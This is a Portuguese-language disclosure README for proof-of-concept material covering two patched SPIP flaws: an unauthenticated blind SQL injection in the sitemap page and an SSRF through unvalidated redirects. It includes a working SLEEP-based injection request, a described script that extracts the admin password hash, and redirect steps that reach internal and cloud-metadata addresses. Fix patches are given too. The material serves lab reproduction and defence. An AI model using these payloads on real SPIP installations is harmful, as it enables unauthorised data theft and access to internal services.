
PoC para CVE-2026-72708 (SQLi cega) e CVE-2026-109378 (SSRF) no SPIP, ambas corrigidas na 4.4.18
Material de prova de conceito reproduzível para duas vulnerabilidades que reportei no SPIP, ambas corrigidas na 4.4.18.
| CVE | Classe | Autenticação | CVSS 4.0 | Sink |
|---|---|---|---|---|
| CVE-2026-72708 | Injeção SQL cega (CWE-89) | nenhuma | 8.7 Alta | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | SSRF via redirecionamento HTTP (CWE-918) | baixa | 5.3 Média | ecrire/inc/distant.php:567-582 |
Ambas foram reportadas para [email protected] em 2026-08-05. O SPIP lançou a correção na
4.4.18 em 2026-08-10. Este material é publicado após o patch, que é justamente o propósito de publicá-lo.
Tudo aqui é executado contra um laboratório local descartável vinculado a
127.0.0.1. Não aponte isso para um host que você não possui.
spip_mysql_cite() retorna um valor sem aspas quando a coluna de destino é de
tipo data e o valor corresponde a /^\w+\(/:
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
A regex foi feita para permitir que NOW() passasse como uma chamada de função em vez de uma string. Ela verifica a forma de uma chamada de função, não o seu nome, portanto SLEEP(5), IF(...) e UPDATEXML(...) também a satisfazem.
O sink alcançável é o critério {annee?} de squelettes-dist/sitemap.xml.html, que é distribuído com todas as instalações e é comparado com uma coluna datetime. O sitemap é público, portanto não é necessária nenhuma conta:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
Execute-o:
bash CVE-2026-72708-sqli/poc_sqli.sh
O script comprova o sink, mostra o atraso acompanhando o argumento de SLEEP(),
e depois recupera os primeiros doze caracteres do hash da senha do admin através de um
oráculo puramente temporal e verifica o resultado contra o banco de dados.
SLEEP() injetado fica numa cláusula
WHERE, que o MySQL avalia por linha. Com zero artigos, ele nunca dispara.
O lab/seed.sh insere um artigo publicado.&z=<random>) a cada repetição. O script já faz isso.O SPIP tem uma proteção SSRF genuinamente boa, valider_url_distante(): whitelist
de esquema, faixas privadas e reservadas, link-local, DNS rebinding, URLs com
credenciais. Os chamadores a executam antes de buscar.
O recuperer_url() então segue até dez redirecionamentos, e nunca revalida o
alvo que está prestes a buscar:
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
Um 302 de um host que passa na validação entra diretamente em qualquer coisa que a proteção foi criada para bloquear, incluindo 169.254.169.254.
Execute-o:
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
O script mostra o guard recusando corretamente sete URLs hostis, depois busca uma dessas mesmas URLs através de um redirecionamento e imprime o conteúdo de volta.
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
O banco de dados não possui porta de host. O contêiner web escuta apenas no loopback.
Derrube-o com docker compose down -v.
Para exercitar o caminho de SSRF, você também precisa do redirector substituto e de um serviço apenas interno:
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php apenas emite um 302 para o que ?to= disser. Num ataque real, esse papel
é desempenhado por um host público que o guarda permite de bom grado.
requests/ em cada diretório contém as trocas HTTP brutas capturadas da rede
durante as execuções acima, um .req e um .res por passo. Cole um .req no
Burp Repeater tal como está.
Para o SQLi, o par interessante é sqli-03-oracle-true (2,051 s) contra
sqli-04-oracle-false (0,049 s): a mesma pergunta, o limiar deslocado em um, e a
resposta é a diferença no tempo de resposta. Os corpos são idênticos.
Para o SSRF, ssrf-02-internal-hits.log é o log de acesso do serviço
interno, mostrando o SPIP chegando a um host que ele acabara de recusar resolver.
Injeção SQL, substitua a regex frouxa por uma lista de permissões:
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
Aplique a mesma alteração em ecrire/req/sqlite_generique.php.
SSRF, valide o destino do redirecionamento antes de segui-lo:
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
Ou simplesmente atualize para a 4.4.18, que contém ambas.
A CVE-2026-72708 foi co-descoberta de forma independente por Franck Chevalier (Wayko) da Lexfo / Ambionics, que encontrou o mesmo sink, o mesmo ponto de entrada não autenticado e construiu as cadeias completas até a execução remota de código por meio da CVE-2026-72709 e da CVE-2026-72710. Seu writeup é o documento técnico mais aprofundado e suas ferramentas estão em ambionics/spip-exploits.
A CVE-2026-109378 foi reportada individualmente.
MIT. Publicado para defensores, auditores e qualquer pessoa que queira entender por que uma regex de quinze caracteres acabou valendo 8,7 pontos.
-- ka3n1x